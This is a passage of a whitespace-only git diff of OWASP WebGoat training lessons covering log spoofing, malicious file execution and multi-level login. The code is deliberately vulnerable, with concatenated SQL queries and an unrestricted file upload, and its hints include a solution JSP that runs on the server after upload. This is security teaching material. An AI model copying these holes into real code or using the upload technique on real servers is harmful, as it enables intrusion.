final String PASSWORD = "password"; + - public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); - - protected Element createContent(WebSession s) - { + public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); + + protected Element createContent(WebSession s) + { - ElementContainer ec = null; - String inputUsername = null; - try - { + ElementContainer ec = null; + String inputUsername = null; + try + { - Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); - TR row1 = new TR(); - TR row2 = new TR(); - TR row3 = new TR(); + Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); + TR row1 = new TR(); + TR row2 = new TR(); + TR row3 = new TR(); - row1.addElement(new TD(new StringElement(WebGoatI18N.get("UserName")+":"))); - Input username = new Input(Input.TEXT, USERNAME, ""); - row1.addElement(new TD(username)); + row1.addElement(new TD(new StringElement(WebGoatI18N.get("UserName")+":"))); + Input username = new Input(Input.TEXT, USERNAME, ""); + row1.addElement(new TD(username)); - row2.addElement(new TD(new StringElement(WebGoatI18N.get("Password")+": "))); - Input password = new Input(Input.PASSWORD, PASSWORD, ""); - row2.addElement(new TD(password)); + row2.addElement(new TD(new StringElement(WebGoatI18N.get("Password")+": "))); + Input password = new Input(Input.PASSWORD, PASSWORD, ""); + row2.addElement(new TD(password)); - Element b = ECSFactory.makeButton(WebGoatI18N.get("Login")); - row3.addElement(new TD(new StringElement("  "))); - row3.addElement(new TD(b)).setAlign("right"); + Element b = ECSFactory.makeButton(WebGoatI18N.get("Login")); + row3.addElement(new TD(new StringElement("  "))); + row3.addElement(new TD(b)).setAlign("right"); - t.addElement(row1); - t.addElement(row2); - t.addElement(row3); + t.addElement(row1); + t.addElement(row2); + t.addElement(row3); - ec = new ElementContainer(); - ec.addElement(t); + ec = new ElementContainer(); + ec.addElement(t); - inputUsername = new String(s.getParser().getRawParameter(USERNAME, "")); - - if (inputUsername.length() != 0) - { - inputUsername = URLDecoder.decode(inputUsername, "UTF-8"); - } + inputUsername = new String(s.getParser().getRawParameter(USERNAME, "")); + + if (inputUsername.length() != 0) + { + inputUsername = URLDecoder.decode(inputUsername, "UTF-8"); + } - ec.addElement(new PRE(" ")); + ec.addElement(new PRE(" ")); - Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); - TR row4 = new TR(); - row4.addElement(new TD(new PRE(WebGoatI18N.get("LoginFailedForUserName")+": " + inputUsername))).setBgColor(HtmlColor.GRAY); + Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); + TR row4 = new TR(); + row4.addElement(new TD(new PRE(WebGoatI18N.get("LoginFailedForUserName")+": " + inputUsername))).setBgColor(HtmlColor.GRAY); - t2.addElement(row4); + t2.addElement(row4); - ec.addElement(t2); - - if (inputUsername.length() > 0 && inputUsername.indexOf('\n') >= 0 && inputUsername.indexOf('\n') >= 0) - { - makeSuccess(s); - } - } catch (UnsupportedEncodingException e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - return ec; - } + ec.addElement(t2); + + if (inputUsername.length() > 0 && inputUsername.indexOf('\n') >= 0 && inputUsername.indexOf('\n') >= 0) + { + makeSuccess(s); + } + } catch (UnsupportedEncodingException e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return ec; + } - private final static Integer DEFAULT_RANKING = new Integer(72); + private final static Integer DEFAULT_RANKING = new Integer(72); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - @Override - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add(WebGoatI18N.get("LogSpoofingHint1")); - hints.add(WebGoatI18N.get("LogSpoofingHint2")); - hints.add(WebGoatI18N.get("LogSpoofingHint3")); - hints.add(WebGoatI18N.get("LogSpoofingHint4")); - return hints; - } + @Override + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add(WebGoatI18N.get("LogSpoofingHint1")); + hints.add(WebGoatI18N.get("LogSpoofingHint2")); + hints.add(WebGoatI18N.get("LogSpoofingHint3")); + hints.add(WebGoatI18N.get("LogSpoofingHint4")); + return hints; + } - @Override - public String getTitle() - { - return "Log Spoofing"; - } + @Override + public String getTitle() + { + return "Log Spoofing"; + } - @Override - protected Category getDefaultCategory() - { - return Category.INJECTION; - } + @Override + protected Category getDefaultCategory() + { + return Category.INJECTION; + } - public Element getCredits() - { - return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java b/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java index 654e77860..fdc3235fe 100644 --- a/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java +++ b/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java @@ -59,52 +59,52 @@ import org.apache.commons.fileupload.servlet.*; public class MaliciousFileExecution extends LessonAdapter { - private final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); - - // the UPLOADS_DIRECTORY is where uploads are stored such that they can be references - // in image tags as "uploads/filename.ext". This directory string should not contain any path separators (/ or \) - private String uploads_and_target_parent_directory = null; - - private final static String UPLOADS_RELATIVE_PATH = "uploads"; - - // this is the target directory that the user must put a file in to pass the lessson. The file must be named - // username.txt. This directory string should not contain any path separators (/ or \) + private final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); + + // the UPLOADS_DIRECTORY is where uploads are stored such that they can be references + // in image tags as "uploads/filename.ext". This directory string should not contain any path separators (/ or \) + private String uploads_and_target_parent_directory = null; + + private final static String UPLOADS_RELATIVE_PATH = "uploads"; + + // this is the target directory that the user must put a file in to pass the lessson. The file must be named + // username.txt. This directory string should not contain any path separators (/ or \) - private final static String TARGET_RELATIVE_PATH = "mfe_target"; - - // this should probably go in a constructor, but we need the session object... - // may be able to do something like: - // String directory = this.getServletContext().getRealPath("/"); - private void fill_uploads_and_target_parent_directory(WebSession s) { - //uploads_and_target_parent_directory = s.getWebgoatContext().getServlet().getServletContext().getRealPath("/"); - uploads_and_target_parent_directory = s.getContext().getRealPath("/"); - // make sure it ends with a / or \ - if(!uploads_and_target_parent_directory.endsWith(File.separator)) { - uploads_and_target_parent_directory = uploads_and_target_parent_directory + - File.separator; - } - System.out.println("uploads_and_target_parent_directory set to = " - + uploads_and_target_parent_directory); - - // make sure the directories exist - File uploads_dir = new File(uploads_and_target_parent_directory - + UPLOADS_RELATIVE_PATH); - uploads_dir.mkdir(); - - File target_dir = new File(uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH); - target_dir.mkdir(); - - // delete the user's target file if it is already there since we must - // have restarted webgoat - File userfile = new File(uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH + java.io.File.separator - + s.getUserName() + ".txt"); - - userfile.delete(); - - } - + private final static String TARGET_RELATIVE_PATH = "mfe_target"; + + // this should probably go in a constructor, but we need the session object... + // may be able to do something like: + // String directory = this.getServletContext().getRealPath("/"); + private void fill_uploads_and_target_parent_directory(WebSession s) { + //uploads_and_target_parent_directory = s.getWebgoatContext().getServlet().getServletContext().getRealPath("/"); + uploads_and_target_parent_directory = s.getContext().getRealPath("/"); + // make sure it ends with a / or \ + if(!uploads_and_target_parent_directory.endsWith(File.separator)) { + uploads_and_target_parent_directory = uploads_and_target_parent_directory + + File.separator; + } + System.out.println("uploads_and_target_parent_directory set to = " + + uploads_and_target_parent_directory); + + // make sure the directories exist + File uploads_dir = new File(uploads_and_target_parent_directory + + UPLOADS_RELATIVE_PATH); + uploads_dir.mkdir(); + + File target_dir = new File(uploads_and_target_parent_directory + + TARGET_RELATIVE_PATH); + target_dir.mkdir(); + + // delete the user's target file if it is already there since we must + // have restarted webgoat + File userfile = new File(uploads_and_target_parent_directory + + TARGET_RELATIVE_PATH + java.io.File.separator + + s.getUserName() + ".txt"); + + userfile.delete(); + + } + /** * Description of the Method * @@ -114,71 +114,71 @@ public class MaliciousFileExecution extends LessonAdapter */ protected Element createContent(WebSession s) { - + if(uploads_and_target_parent_directory == null) { - fill_uploads_and_target_parent_directory(s); + fill_uploads_and_target_parent_directory(s); } - ElementContainer ec = new ElementContainer(); + ElementContainer ec = new ElementContainer(); - try - { - - // check for success - see if the target file exists yet - - File userfile = new File(uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH + java.io.File.separator - + s.getUserName() + ".txt"); - - if(userfile.exists()) { - makeSuccess(s); - } - - Connection connection = DatabaseUtilities.getConnection(s); - - ec.addElement(new H1().addElement("WebGoat Image Storage")); - - // show the current image - ec.addElement(new P().addElement("Your current image:")); - - String image_query = "SELECT image_relative_url FROM mfe_images WHERE user_name = '" - + s.getUserName() + "'"; + try + { + + // check for success - see if the target file exists yet + + File userfile = new File(uploads_and_target_parent_directory + + TARGET_RELATIVE_PATH + java.io.File.separator + + s.getUserName() + ".txt"); + + if(userfile.exists()) { + makeSuccess(s); + } + + Connection connection = DatabaseUtilities.getConnection(s); + + ec.addElement(new H1().addElement("WebGoat Image Storage")); + + // show the current image + ec.addElement(new P().addElement("Your current image:")); + + String image_query = "SELECT image_relative_url FROM mfe_images WHERE user_name = '" + + s.getUserName() + "'"; - Statement image_statement = connection.createStatement( - ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet image_results = image_statement.executeQuery(image_query); - - if(image_results.next() == false) { - // result set was empty - ec.addElement(new P().addElement("No image uploaded")); - System.out.println("No image uploaded"); - } else { + Statement image_statement = connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet image_results = image_statement.executeQuery(image_query); + + if(image_results.next() == false) { + // result set was empty + ec.addElement(new P().addElement("No image uploaded")); + System.out.println("No image uploaded"); + } else { - String image_url = image_results.getString(1); - - ec.addElement(new IMG(image_url).setBorder(0).setHspace(0).setVspace(0)); - - System.out.println("Found image named: " + image_url); + String image_url = image_results.getString(1); + + ec.addElement(new IMG(image_url).setBorder(0).setHspace(0).setVspace(0)); + + System.out.println("Found image named: " + image_url); - } - - ec.addElement(new P().addElement("Upload a new image:")); + } + + ec.addElement(new P().addElement("Upload a new image:")); - Input input = new Input(Input.FILE, "myfile", ""); - ec.addElement(input); - - Element b = ECSFactory.makeButton("Start Upload"); - ec.addElement(b); - - } - catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + Input input = new Input(Input.FILE, "myfile", ""); + ec.addElement(input); + + Element b = ECSFactory.makeButton("Start Upload"); + ec.addElement(b); + + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - return (ec); + return (ec); } /** @@ -188,7 +188,7 @@ public class MaliciousFileExecution extends LessonAdapter */ protected Category getDefaultCategory() { - return Category.MALICIOUS_EXECUTION; + return Category.MALICIOUS_EXECUTION; } /** @@ -198,7 +198,7 @@ public class MaliciousFileExecution extends LessonAdapter */ public Element getCredits() { - return super.getCustomCredits("Created by Chuck Willis ", MANDIANT_LOGO); + return super.getCustomCredits("Created by Chuck Willis ", MANDIANT_LOGO); } /** @@ -209,63 +209,63 @@ public class MaliciousFileExecution extends LessonAdapter protected List getHints(WebSession s) { if(uploads_and_target_parent_directory == null) { - fill_uploads_and_target_parent_directory(s); + fill_uploads_and_target_parent_directory(s); } String target_filename = uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH - + java.io.File.separator - + s.getUserName() + ".txt"; + + TARGET_RELATIVE_PATH + + java.io.File.separator + + s.getUserName() + ".txt"; - List hints = new ArrayList(); + List hints = new ArrayList(); - hints.add("Where are uploaded images stored? Can you browse to them directly?"); - - hints.add("What type of file can you upload to a J2EE server that will be executed when you browse to it?"); - - hints.add("You want to upload a .jsp file that creates an instance of the class java.io.File " + - " and calls the createNewFile() method of that instance."); - - hints.add("Below are some helpful links..." + - "

Here is a page with an example of a simple .jsp file using a Scriptlet:" + - "
" + - "http://www.jsptut.com/Scriptlets.jsp" + - "

Here is an page with an example of using createNewFile():" + - "
" + - "http://www.roseindia.net/java/example/java/io/CreateFile.shtml" + - "

Here is the API specification for java.io.File:" + - "
" + - "http://java.sun.com/j2se/1.5.0/docs/api/java/io/File.html" - ); - - hints - .add("Here is an example .jsp file, modify it to use java.io.File and its createNewFile() method:" - + "

<HTML>" - + "
<%" - + "
java.lang.String hello = new java.lang.String(\"Hello World!\");" - + "
System.out.println(hello);" - + "
%>" - + "
</HTML>" - + "

NOTE: executing this file will print \"Hello World!\" to the Tomcat Console, not to your client browser" - ); - - - hints - .add("SOLUTION:

Upload a file with a .jsp extension and this content:" - + "

<HTML>" - + "
<%" - + "
java.io.File file = new java.io.File(\"" - + target_filename.replaceAll("\\\\", "\\\\\\\\") // if we are on windows, we need to - // make sure path separators are doubled / escaped - + "\");" - + "
file.createNewFile();" - + "
%>" - + "
</HTML>" - + "

After you have uploaded your jsp file, you can get the system to execute it by opening it in your browser at the URL below (or by just refreshing this page):" - + "

http://webgoat_ip:port/WebGoat/" + UPLOADS_RELATIVE_PATH + "/yourfilename.jsp" - ); - - return hints; + hints.add("Where are uploaded images stored? Can you browse to them directly?"); + + hints.add("What type of file can you upload to a J2EE server that will be executed when you browse to it?"); + + hints.add("You want to upload a .jsp file that creates an instance of the class java.io.File " + + " and calls the createNewFile() method of that instance."); + + hints.add("Below are some helpful links..." + + "

Here is a page with an example of a simple .jsp file using a Scriptlet:" + + "
" + + "http://www.jsptut.com/Scriptlets.jsp" + + "

Here is an page with an example of using createNewFile():" + + "
" + + "http://www.roseindia.net/java/example/java/io/CreateFile.shtml" + + "

Here is the API specification for java.io.File:" + + "
" + + "http://java.sun.com/j2se/1.5.0/docs/api/java/io/File.html" + ); + + hints + .add("Here is an example .jsp file, modify it to use java.io.File and its createNewFile() method:" + + "

<HTML>" + + "
<%" + + "
java.lang.String hello = new java.lang.String(\"Hello World!\");" + + "
System.out.println(hello);" + + "
%>" + + "
</HTML>" + + "

NOTE: executing this file will print \"Hello World!\" to the Tomcat Console, not to your client browser" + ); + + + hints + .add("SOLUTION:

Upload a file with a .jsp extension and this content:" + + "

<HTML>" + + "
<%" + + "
java.io.File file = new java.io.File(\"" + + target_filename.replaceAll("\\\\", "\\\\\\\\") // if we are on windows, we need to + // make sure path separators are doubled / escaped + + "\");" + + "
file.createNewFile();" + + "
%>" + + "
</HTML>" + + "

After you have uploaded your jsp file, you can get the system to execute it by opening it in your browser at the URL below (or by just refreshing this page):" + + "

http://webgoat_ip:port/WebGoat/" + UPLOADS_RELATIVE_PATH + "/yourfilename.jsp" + ); + + return hints; } // this is a custom method for this lesson to restart. It is called in WebSession.restartLesson @@ -275,36 +275,36 @@ public class MaliciousFileExecution extends LessonAdapter { if(uploads_and_target_parent_directory == null) { - fill_uploads_and_target_parent_directory(s); + fill_uploads_and_target_parent_directory(s); } - - System.out.println("Restarting Malicious File Execution lesson for user " + s.getUserName()); - - // delete the user's target file - File userfile = new File(uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH - + java.io.File.separator - + s.getUserName() + ".txt"); - - userfile.delete(); - - // remove the row from the mfe table + + System.out.println("Restarting Malicious File Execution lesson for user " + s.getUserName()); + + // delete the user's target file + File userfile = new File(uploads_and_target_parent_directory + + TARGET_RELATIVE_PATH + + java.io.File.separator + + s.getUserName() + ".txt"); + + userfile.delete(); + + // remove the row from the mfe table // add url to database table - try { - Connection connection = DatabaseUtilities.getConnection(s); - - Statement statement = connection.createStatement(); - - String deleteuserrow = "DELETE from mfe_images WHERE user_name = '" - + s.getUserName() + "';"; + try { + Connection connection = DatabaseUtilities.getConnection(s); + + Statement statement = connection.createStatement(); + + String deleteuserrow = "DELETE from mfe_images WHERE user_name = '" + + s.getUserName() + "';"; - statement.executeUpdate(deleteuserrow); - - } catch (SQLException e) { - // TODO Auto-generated catch block - e.printStackTrace(); - } + statement.executeUpdate(deleteuserrow); + + } catch (SQLException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } } @@ -314,36 +314,36 @@ public class MaliciousFileExecution extends LessonAdapter // this method will delete files in the target directory and the uploads directory // it should be called when WebGoat starts // public static void cleanDirectories() { -// // delete files in TARGET_DIRECTORY -// File target_dir = new File(TARGET_RELATIVE_PATH); -// deleteFilesInDir(target_dir); -// -// // delete files in uploads directory -// File uploads_dir = new File(uploads_and_target_parent_directory + UPLOADS_RELATIVE_PATH); -// deleteFilesInDir(uploads_dir); -// +// // delete files in TARGET_DIRECTORY +// File target_dir = new File(TARGET_RELATIVE_PATH); +// deleteFilesInDir(target_dir); +// +// // delete files in uploads directory +// File uploads_dir = new File(uploads_and_target_parent_directory + UPLOADS_RELATIVE_PATH); +// deleteFilesInDir(uploads_dir); +// // } // private static void deleteFilesInDir(File dir) { -// File[] dir_files = dir.listFiles(); -// for(int i = 0; i < dir_files.length; i++) { -// // we won't recurse and we don't want to delete every file just in -// // case TARGET_DIRECTORY or uploads directory is pointed -// // somewhere stupid, like c:\ or / -// if(dir_files[i].isFile()) { -// String lower_file_name = dir_files[i].getName().toLowerCase(); -// -// if(lower_file_name.endsWith(".jpg") || -// lower_file_name.endsWith(".gif") || -// lower_file_name.endsWith(".png") || -// lower_file_name.endsWith(".jsp") || -// lower_file_name.endsWith(".txt") || -// lower_file_name.endsWith(".asp") || // in case they think this is a IIS server :-) -// lower_file_name.endsWith(".aspx")) { -// dir_files[i].delete(); -// } -// } -// } +// File[] dir_files = dir.listFiles(); +// for(int i = 0; i < dir_files.length; i++) { +// // we won't recurse and we don't want to delete every file just in +// // case TARGET_DIRECTORY or uploads directory is pointed +// // somewhere stupid, like c:\ or / +// if(dir_files[i].isFile()) { +// String lower_file_name = dir_files[i].getName().toLowerCase(); +// +// if(lower_file_name.endsWith(".jpg") || +// lower_file_name.endsWith(".gif") || +// lower_file_name.endsWith(".png") || +// lower_file_name.endsWith(".jsp") || +// lower_file_name.endsWith(".txt") || +// lower_file_name.endsWith(".asp") || // in case they think this is a IIS server :-) +// lower_file_name.endsWith(".aspx")) { +// dir_files[i].delete(); +// } +// } +// } // } @@ -355,28 +355,28 @@ public class MaliciousFileExecution extends LessonAdapter public String getInstructions(WebSession s) { if(uploads_and_target_parent_directory == null) { - fill_uploads_and_target_parent_directory(s); + fill_uploads_and_target_parent_directory(s); } - - String instructions = "The form below allows you to upload an image which will be displayed on this page. " - + "Features like this are often found on web based discussion boards and social networking sites. " - + "This feature is vulnerable to Malicious File Execution." - + "

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can execute," - + " it should create another file named:

" - + uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH - + java.io.File.separator - + s.getUserName() + ".txt" - + "

Once you have created this file, you will pass the lesson."; + + String instructions = "The form below allows you to upload an image which will be displayed on this page. " + + "Features like this are often found on web based discussion boards and social networking sites. " + + "This feature is vulnerable to Malicious File Execution." + + "

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can execute," + + " it should create another file named:

" + + uploads_and_target_parent_directory + + TARGET_RELATIVE_PATH + + java.io.File.separator + + s.getUserName() + ".txt" + + "

Once you have created this file, you will pass the lesson."; - return (instructions); + return (instructions); } private final static Integer DEFAULT_RANKING = new Integer(75); protected Integer getDefaultRanking() { - return DEFAULT_RANKING; + return DEFAULT_RANKING; } /** @@ -386,7 +386,7 @@ public class MaliciousFileExecution extends LessonAdapter */ public String getTitle() { - return ("Malicious File Execution"); + return ("Malicious File Execution"); } /** @@ -397,105 +397,105 @@ public class MaliciousFileExecution extends LessonAdapter */ public void handleRequest(WebSession s) { - + if(uploads_and_target_parent_directory == null) { - fill_uploads_and_target_parent_directory(s); + fill_uploads_and_target_parent_directory(s); } - - try - { - if(ServletFileUpload.isMultipartContent(s.getRequest())) { - // multipart request - we have the file upload - -// Create a factory for disk-based file items - DiskFileItemFactory factory = new DiskFileItemFactory(); - factory.setSizeThreshold(500000); // files over 500k will be written to disk temporarily. - // files under that size will be stored in memory until written to disk by the request handler code below - -// Create a new file upload handler - ServletFileUpload upload = new ServletFileUpload(factory); - -// Parse the request - List /* FileItem */ items = upload.parseRequest(s.getRequest()); - -// Process the uploaded items - java.util.Iterator iter = items.iterator(); - while (iter.hasNext()) { - FileItem item = (FileItem) iter.next(); + + try + { + if(ServletFileUpload.isMultipartContent(s.getRequest())) { + // multipart request - we have the file upload + +// Create a factory for disk-based file items + DiskFileItemFactory factory = new DiskFileItemFactory(); + factory.setSizeThreshold(500000); // files over 500k will be written to disk temporarily. + // files under that size will be stored in memory until written to disk by the request handler code below + +// Create a new file upload handler + ServletFileUpload upload = new ServletFileUpload(factory); + +// Parse the request + List /* FileItem */ items = upload.parseRequest(s.getRequest()); + +// Process the uploaded items + java.util.Iterator iter = items.iterator(); + while (iter.hasNext()) { + FileItem item = (FileItem) iter.next(); - if (item.isFormField()) { - - // ignore regular form fields - - } else { - - // not a form field, must be a file upload - if(item.getName().contains("/") || item.getName().contains("\\")) { - System.out.println("Uploaded file contains a / or \\ (i.e. attempted directory traversal). Not storing file."); - // TODO - is there a way to show an error to the user here? - - s.setMessage("Directory traversal not allowed. Nice try though."); - - } else { - - // write file to disk with original name in uploads directory - String uploaded_file_path = uploads_and_target_parent_directory - + UPLOADS_RELATIVE_PATH - + java.io.File.separator - + item.getName(); - File uploadedFile = new File(uploaded_file_path); - item.write(uploadedFile); - System.out.println("Stored file:\n" + uploaded_file_path ); - - // add url to database table - Connection connection = DatabaseUtilities.getConnection(s); - - Statement statement = connection.createStatement(); - - // attempt an update - String updateData1 = "UPDATE mfe_images SET image_relative_url='" + UPLOADS_RELATIVE_PATH + "/" - + item.getName() + "' WHERE user_name = '" - + s.getUserName() + "';"; - - System.out.println("Updating row:\n" + updateData1 ); - if(statement.executeUpdate(updateData1) == 0) { - - // update failed, we need to add a row - String insertData1 = "INSERT INTO mfe_images VALUES ('" + - s.getUserName() + "','" + UPLOADS_RELATIVE_PATH + "/" + - item.getName() + "')"; - - System.out.println("Inserting row:\n" + insertData1 ); - statement.executeUpdate(insertData1); - - } - } - - } - } - - } - // now handle normally (if it was a multipart request or now) - - //super.handleRequest(s); - - // needed to cut and paste and edit rather than calling super - // here so that we could set the encoding type to multipart form data - // call createContent first so messages will go somewhere + if (item.isFormField()) { + + // ignore regular form fields + + } else { + + // not a form field, must be a file upload + if(item.getName().contains("/") || item.getName().contains("\\")) { + System.out.println("Uploaded file contains a / or \\ (i.e. attempted directory traversal). Not storing file."); + // TODO - is there a way to show an error to the user here? + + s.setMessage("Directory traversal not allowed. Nice try though."); + + } else { + + // write file to disk with original name in uploads directory + String uploaded_file_path = uploads_and_target_parent_directory + + UPLOADS_RELATIVE_PATH + + java.io.File.separator + + item.getName(); + File uploadedFile = new File(uploaded_file_path); + item.write(uploadedFile); + System.out.println("Stored file:\n" + uploaded_file_path ); + + // add url to database table + Connection connection = DatabaseUtilities.getConnection(s); + + Statement statement = connection.createStatement(); + + // attempt an update + String updateData1 = "UPDATE mfe_images SET image_relative_url='" + UPLOADS_RELATIVE_PATH + "/" + + item.getName() + "' WHERE user_name = '" + + s.getUserName() + "';"; + + System.out.println("Updating row:\n" + updateData1 ); + if(statement.executeUpdate(updateData1) == 0) { + + // update failed, we need to add a row + String insertData1 = "INSERT INTO mfe_images VALUES ('" + + s.getUserName() + "','" + UPLOADS_RELATIVE_PATH + "/" + + item.getName() + "')"; + + System.out.println("Inserting row:\n" + insertData1 ); + statement.executeUpdate(insertData1); + + } + } + + } + } + + } + // now handle normally (if it was a multipart request or now) + + //super.handleRequest(s); + + // needed to cut and paste and edit rather than calling super + // here so that we could set the encoding type to multipart form data + // call createContent first so messages will go somewhere - Form form = new Form(getFormAction(), Form.POST).setName("form") - .setEncType("multipart/form-data"); + Form form = new Form(getFormAction(), Form.POST).setName("form") + .setEncType("multipart/form-data"); - form.addElement(createContent(s)); + form.addElement(createContent(s)); - setContent(form); - } - catch (Exception e) - { - System.out.println("Exception caught: " + e); - e.printStackTrace(System.out); - } + setContent(form); + } + catch (Exception e) + { + System.out.println("Exception caught: " + e); + e.printStackTrace(System.out); + } } } diff --git a/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin1.java b/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin1.java index 53aaa66fd..f2ad38111 100644 --- a/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin1.java +++ b/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin1.java @@ -57,795 +57,795 @@ import org.owasp.webgoat.session.WebSession; public class MultiLevelLogin1 extends SequentialLessonAdapter { - private final static String USER = "user"; - private final static String PASSWORD = "pass"; - private final static String HIDDEN_TAN = "hidden_tan"; - private final static String TAN = "tan"; - - private final static String LOGGEDIN = "loggedin"; - private final static String CORRECTTAN = "correctTan"; - private final static String LOGGEDINUSER = "loggedInUser"; - - /** - * Creates Staged WebContent - * - * @param s - */ - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } - - /** - * See if the user has logged in correctly - * - * @param s - * @return true if loggedIn - */ - private boolean loggedIn(WebSession s) - { - try - { - return s.get(LOGGEDIN).equals("true"); - } catch (Exception e) - { - return false; - } - } - - /** - * See if the user had used a valid tan - * - * @param s - * @return true if correctTan - */ - private boolean correctTan(WebSession s) - { - try - { - return s.get(CORRECTTAN).equals("true"); - } catch (Exception e) - { - return false; - } - } - - /** - * Get the logged in user - * - * @param s - * @return the logged in user - */ - private String getLoggedInUser(WebSession s) - { - try - { - String user = (String) s.get(LOGGEDINUSER); - return user; - } catch (Exception e) - { - return ""; - } - } - - /** - * Creation of the main content - * - * @param s - * @return Element - */ - protected Element createMainContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - style sty = new style(); - - sty - .addElement("#lesson_wrapper {height: 435px;width: " - + "500px;}#lesson_header {background-image: " - + "url(lessons/DBSQLInjection/images/lesson1_header.jpg);width:" - + " 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace " - + "{background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: " - + "325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} " - + ".lesson_text {height: 240px;width: 460px;padding-top: 5px;} " - + "#lesson_buttons_bottom {height: 20px;width: 460px;} " - + "#lesson_b_b_left {width: 300px;float: left;} " - + "#lesson_b_b_right input {width: 100px;float: right;} " - + ".lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} " - + ".lesson_workspace { } " - + ".lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} " - + ".lesson_text_db {color: #0066FF} " - + "#lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: " - + "124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top:" - + " 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: " - + "12px;text-align: center;} #lesson_search {background-image: " - + "url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: " - + "no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); - ec.addElement(sty); - - Div wrapperDiv = new Div(); - wrapperDiv.setID("lesson_wrapper"); - - Div headerDiv = new Div(); - headerDiv.setID("lesson_header"); - - Div workspaceDiv = new Div(); - workspaceDiv.setClass("lesson_workspace"); - - wrapperDiv.addElement(headerDiv); - wrapperDiv.addElement(workspaceDiv); - - ec.addElement(wrapperDiv); - - workspaceDiv.addElement(createWorkspaceContent(s)); - - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /** - * Creation of the content of the workspace - * - * @param s - * @return Element - */ - private Element createWorkspaceContent(WebSession s) - { - String user = ""; - user = s.getParser().getStringParameter(USER, ""); - String password = ""; - password = s.getParser().getStringParameter(PASSWORD, ""); - String tan = ""; - tan = s.getParser().getStringParameter(TAN, ""); - String hiddenTan = s.getParser().getStringParameter(HIDDEN_TAN, ""); - - ElementContainer ec = new ElementContainer(); - - // verify that tan is correct and user is logged in - if (loggedIn(s) && correctTan(getLoggedInUser(s), tan, hiddenTan, s)) - { - s.add(CORRECTTAN, "true"); - } - // user is loggedIn but enters wrong tan - else if (loggedIn(s) && !correctTan(getLoggedInUser(s), tan, hiddenTan, s)) - { - s.add(LOGGEDIN, "false"); - } - - // verify the password - if (correctLogin(user, password, s)) - { - s.add(LOGGEDIN, "true"); - s.add(LOGGEDINUSER, user); - } - - // if restart link is clicked owe have to reset log in - if (!s.getParser().getStringParameter("Restart", "").equals("")) - { - s.add(LOGGEDIN, "false"); - s.add(CORRECTTAN, "false"); - resetTans(s); - } - // Logout Button is pressed - if (s.getParser().getRawParameter("logout", "").equals("true")) - { - s.add(LOGGEDIN, "false"); - s.add(CORRECTTAN, "false"); - - } - if (loggedIn(s) && correctTan(s)) - { - s.add(LOGGEDIN, "false"); - s.add(CORRECTTAN, "false"); - - createSuccessfulLoginContent(s, ec); - if (getLessonTracker(s).getStage() == 2) - { - if (hiddenTan.equals("1")) - { - makeSuccess(s); - } - } - else - { - getLessonTracker(s).setStage(2); - s.setMessage("Stage 1 completed."); - } - } - - else if (loggedIn(s)) - { - int tanNr = 